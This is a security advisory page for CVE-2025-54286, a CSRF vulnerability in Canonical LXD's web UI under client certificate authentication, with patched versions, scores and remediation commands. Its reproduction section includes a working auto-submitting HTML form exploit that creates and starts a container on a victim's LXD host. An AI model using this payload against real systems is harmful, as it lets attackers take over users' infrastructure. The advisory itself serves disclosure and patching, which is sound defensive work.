Skip to main content

CVE-2025-54286 — Vulnerability in github.com/canonical/lxd

HIGH

Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

Published October 2, 2025Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.17%). Schedule for your next planned update.

Does your project use an affected github.com/canonical/lxd version?

Paste your go.sum to check it for CVE-2025-54286 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Description

OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.

Reproduction Steps

  1. Prepare a malicious website controlled by the attacker
  2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.

<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>
  1. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
  2. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk

The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures

The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints. Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.

Patches

LXD SeriesStatus
6Fixed in LXD 6.5
5.21Fixed in LXD 5.21.4
5.0Fixed in LXD 5.0.5
4.0Ignored - No web UI

References

Reported by GMO Flatt Security Inc.

Advisory Timeline

  • First published October 2, 2025 (421 days ago).
  • Last revised September 10, 2026 — 342 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/canonical/lxd to 5.21.4 or later
go get github.com/canonical/lxd@v5.21.4
Go
Update github.com/canonical/lxd to 6.5 or later
go get github.com/canonical/lxd@v6.5
Go
Update github.com/canonical/lxd to 5.0.5 or later
go get github.com/canonical/lxd@v5.0.5
Go
Update github.com/canonical/lxd to 0.0.0-20250827065555-0494f5d47e41 or later
go get github.com/canonical/lxd@v0.0.0-20250827065555-0494f5d47e41

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (4)

Affects 1 ecosystem: Go (1).

PackageFixed In
github.com/canonical/lxd Go · Affected: All versions5.21.4
github.com/canonical/lxd Go · Affected: All versions6.5
github.com/canonical/lxd Go · Affected: All versions5.0.5
github.com/canonical/lxd Go · Affected: All versions0.0.0-20250827065555-0494f5d47e41

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-352
    Cross-Site Request Forgery (CSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2025-54286?
Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.3/10).
How do I check if my project is affected by CVE-2025-54286?
CVE-2025-54286 affects github.com/canonical/lxd. It has a 0.2% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-54286 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.3

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.17%
EPSS percentile: 3.6

This is a below-median EPSS score — only 3.6% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-p8hw-rfjg-689h
GO-2025-4003

Related CVEs

  • CVE-2026-34179
    CRITICAL

    LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

  • CVE-2026-34177
    CRITICAL

    LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf

  • CVE-2026-34178
    CRITICAL

    LXD: Importing a crafted backup leads to project restriction bypass

  • CVE-2026-108262
    HIGH

    DDEV incomplete tar symlink traversal fix allows host file overwrite - Incomplete fix of CVE-2026-32885

  • CVE-2026-12411
    HIGH

    lxd allows Cross-guest volume hijack via DevLXD device patch

  • CVE-2026-130007
    HIGH

    k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution

  • CVE-2026-10720
    MEDIUM

    Canonical MicroCeph: path traversal issue in the remote-import AP

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum